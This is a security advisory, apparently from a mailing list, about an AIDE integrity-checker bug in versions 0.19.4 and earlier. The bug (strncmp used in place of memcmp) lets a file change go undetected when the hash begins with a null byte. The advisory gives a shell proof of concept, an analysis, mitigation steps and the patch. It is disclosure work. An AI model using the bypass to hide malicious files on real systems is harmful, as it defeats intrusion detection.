Summary
=======

It was discovered that AIDE, a host-based file and directory integrity checker,
improperly compares hash values containing a null byte. An attacker could craft
a malicious file with a hash value matching the existing hash in every byte up
to and including the first 0x00 byte so that the hash change is silently
ignored by AIDE. A local user could exploit this to bypass the AIDE detection
of malicious files.

Project
=======

AIDE (Advanced Intrusion Detection Environment)

Affected versions
=================

AIDE <= 0.19.4

CVE ID
======

A CVE ID has been requested, but is not yet available; please cross-reference
this vulnerability as GHSA-6wc9-4w69-5jc5 for now. The advisory will be
updated, as soon as a CVE ID is available.

Proof of concept
================

    $ mkdir test
    $ echo -n "00031388$(for i in {1..248} ; do printf '%c' x ; done)" > 
test/file
    $ aide --config <(printf -- 
"root_prefix=./test\n\ndatabase_out=stdout\n/file sha256+sha512\n") --init > 
test/aide.db
    $ echo -n "!0031388$(for i in {1..248} ; do printf '%c' x ; done)" > 
test/file
    $ aide --config <(printf -- 
"root_prefix=./test\n\ndatabase_in=file:test/aide.db\n/file sha256+sha512\n") 
--check
    Start timestamp: 2026-10-17 19:28:38 +0200 (AIDE 0.19.4)
    AIDE found differences between database and filesystem!!
    Root prefix: ./test

    Summary:
      Total number of entries:  1
      Added entries:            0
      Removed entries:          0
      Changed entries:          1

    ---------------------------------------------------
    Changed entries:
    ---------------------------------------------------

    f           H      : /file

    ---------------------------------------------------
    Detailed information about changes:
    ---------------------------------------------------

    File: /file
     SHA512    : P8b+dtBxYkuzpArlOTav0mcbnsgyK6yN | 
M4dh5Bf8Qq8SXttTI05UFhooBkU6TzBg
                 GXLU29ddIz0KH8JwXFQBg1kr29WRxCf1 | 
IdvZInsXpytohLbiVQws60Qa+rNOn1yz
                 CEh60upsX4R1fFjjVjZ4xA==         | yVPaQ2MEcqsMQ/CZNKy7kg==


    ---------------------------------------------------
    The attributes of the (uncompressed) database(s):
    ---------------------------------------------------

    test/aide.db
     SHA256    : 7pkJPevLDacvy1SlNpDdbO2LJC9K+eVp
                 JbiJwoPJz1c=
     SHA512    : cE7/5LIJ45y0JrY51BqX033/PaY50qHU
                 1UMUz7zQzILXJObOsG0C2SV2PVCQJWFx
                 ocCjWdAy8ZOaDBX/aN9Xhw==
     STRIBOG256: cnuQwLejgI+VBBVvl3EcHPcU+eW855Gx
                 BJNvvVIqOk4=
     STRIBOG512: CZa/yVLVDQQkCR+Z5Q+zO4u3nvGSRci+
                 IOvlfUkMZuDcBu9cTfGmiPZLbnzgpRsk
                 2Yz1t3TnRE1DhDH4Wzf/qg==
     SHA512/256: rk6L06UvIay94ky7CEtMdmCUTEVaBMtk
                 zK/Ojy0AoEA=
     SHA3-256  : lU0ArehEa2V4Ovhujiz/GjsZLyNpjwhM
                 LoLS+1HYlhY=
     SHA3-512  : nOFvtQgHYrlT+XMCc3BqflAd6iCdbbC5
                 1Zr4VerGXc+aOnD2E5Nrl6Z4U2Yed8RI
                 3PUOngDqiUafGusEM+yVcQ==


    End timestamp: 2026-10-17 19:28:38 +0200 (run time: 0m 0s)


The report correctly shows the change of the `sha512` hash, but misses the
change of the `sha256` hash.

Analysis
========

The vulnerability is caused by using `strncmp` instead of `memcmp` for
comparing hash values in `bytecmp` function, resulting in `bytecmp` not
comparing the entire hash value if one of the hash values contain a null byte.

In the proof of concept example above the hash values of the old and the new
content starts with a null byte, so only the first byte (the 0x00 byte) is
compared and the `sha256` hash value change is missed.

Mitigation
==========

Upgrade to AIDE v0.19.5

Alternatively apply the provided patch:

aide-0.19_GHSA-6wc9-4w69-5jc5_bytecmp.patch

If you cannot upgrade, consider adding multiple hash functions to your rules 
(the `H`
attribute group adds all available hash functions) to increase the probability a
content change is reported even if one hash contains a null byte.

Credit
======

The issue was reported by a community member.

References
==========
[AIDE](https://aide.github.io)
[v0.19.5](https://github.com/aide/aide/releases/tag/v0.19.5)
[GHSA-6wc9-4w69-5jc5](https://github.com/aide/aide/security/advisories/GHSA-6wc9-4w69-5jc5)
diff --git before/src/gen_list.c after/src/gen_list.c
index 7fe55a3..fe8fd50 100644
--- before/src/gen_list.c
+++ after/src/gen_list.c
@@ -61,7 +61,7 @@ void fs2db_line(struct stat* fs,db_line* line);
 LOG_LEVEL compare_log_level = LOG_LEVEL_COMPARE;
 
 static int bytecmp(byte *b1, byte *b2, size_t len) {
-  return strncmp((char *)b1, (char *)b2, len);
+  return memcmp((char *)b1, (char *)b2, len);
 }
 
 static int has_str_changed(char* old,char* new) {

Attachment: signature.asc
Description: PGP signature

Reply via email to